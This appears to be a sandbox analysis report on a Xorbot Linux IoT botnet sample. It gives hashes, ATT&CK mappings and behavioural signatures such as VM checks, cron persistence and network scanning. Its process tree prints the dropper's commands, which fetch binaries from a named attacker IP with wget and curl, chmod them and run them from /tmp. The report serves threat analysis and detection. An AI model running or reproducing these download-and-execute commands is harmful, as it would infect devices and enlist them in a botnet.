xorbot | b0cbfbdaa29a12ec2f0e20f5895b9f2abe38b50f1fabc26a6c2fc4893c63e632

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/01/2025, 16:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

425b72445548772800314e4626751427
SHA1

a784b4eed1e5f709e264ee26485eb3d97f5bba1e
SHA256

b0cbfbdaa29a12ec2f0e20f5895b9f2abe38b50f1fabc26a6c2fc4893c63e632
SHA512

d083cb8181ba1296383fda54d64d552ac1d15bd6f4a12aa1e5ebe85aad50791853ae86e07c618e0586356671429ab717b145321b66214873aaed7ea439ea064d
SSDEEP

96:Lhr+G+59nX1ls6Wf6NxZ9vEERz33aCEHYQYLXD4CCk5NxtZxZ9vEEYC01ls6Wf6R:Lhr+G+59n3xZ9vEEBVZ9vEE/+G+591

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1461) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
724	chmod
681	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT	682	s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
/tmp/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH	725	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH

Renames itself 1 IoCs

pid	Process
726	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.mRSKbe	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/779/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/787/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/827/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/943/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/951/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/998/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/29/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/638/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/817/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/819/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/822/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/765/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/899/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/269/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/280/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/763/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/809/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/958/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/1004/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/9/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/769/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/844/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/933/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/959/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/988/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/27/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/771/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/865/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/874/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/963/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/969/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/781/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/804/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/957/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/981/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/985/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/1003/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/21/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/767/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/930/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/961/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/996/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/922/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/18/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/23/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/685/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/762/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/778/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/834/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/42/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/635/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/782/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/983/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/994/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/145/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/572/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/820/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/861/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/952/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/987/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/640/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/748/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/867/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
File opened for reading	/proc/870/cmdline	oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT	wget
File opened for modification	/tmp/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT	curl
File opened for modification	/tmp/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT	busybox
File opened for modification	/tmp/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH	wget
File opened for modification	/tmp/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH	curl
File opened for modification	/tmp/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:638
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:641
- /usr/bin/wget
  wget http://66.63.187.225/bins/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
  2⤵
  - Writes file to tmp directory
  PID:646
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:669
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
  2⤵
  - Writes file to tmp directory
  PID:676
- /bin/chmod
  chmod 777 s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
  ./s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
  2⤵
  - Executes dropped EXE
  PID:682
- /bin/rm
  rm s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
  2⤵
  PID:686
- /usr/bin/wget
  wget http://66.63.187.225/bins/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
  2⤵
  - Writes file to tmp directory
  PID:687
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:698
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
  2⤵
  - Writes file to tmp directory
  PID:718
- /bin/chmod
  chmod 777 oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
  ./oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:725
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:728
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:729
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:730
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:731
- /bin/rm
  rm oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
  2⤵
  PID:735
- /usr/bin/wget
  wget http://66.63.187.225/bins/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
  2⤵
  PID:738

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/var/spool/cron/crontabs/tmp.mRSKbe

Filesize
210B

MD5
1b5ac93a9cd26055f01b31ecf62b053e

SHA1
c49befab18057c0f604ecddd3bc36d9491fd9fb7

SHA256
51ced749068ec678f434637d2c829eb3a4b5d68ec339e496c28967f1e3718a09

SHA512
b262e8f0e3030d275ac8e8065c288ce13e13dcf8a0d86fdf5a5f2aa3bb560e849bb4290ec222b43dfb1d0ae16117205ae519d41ee6f4ce4a257e8d3752156252

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads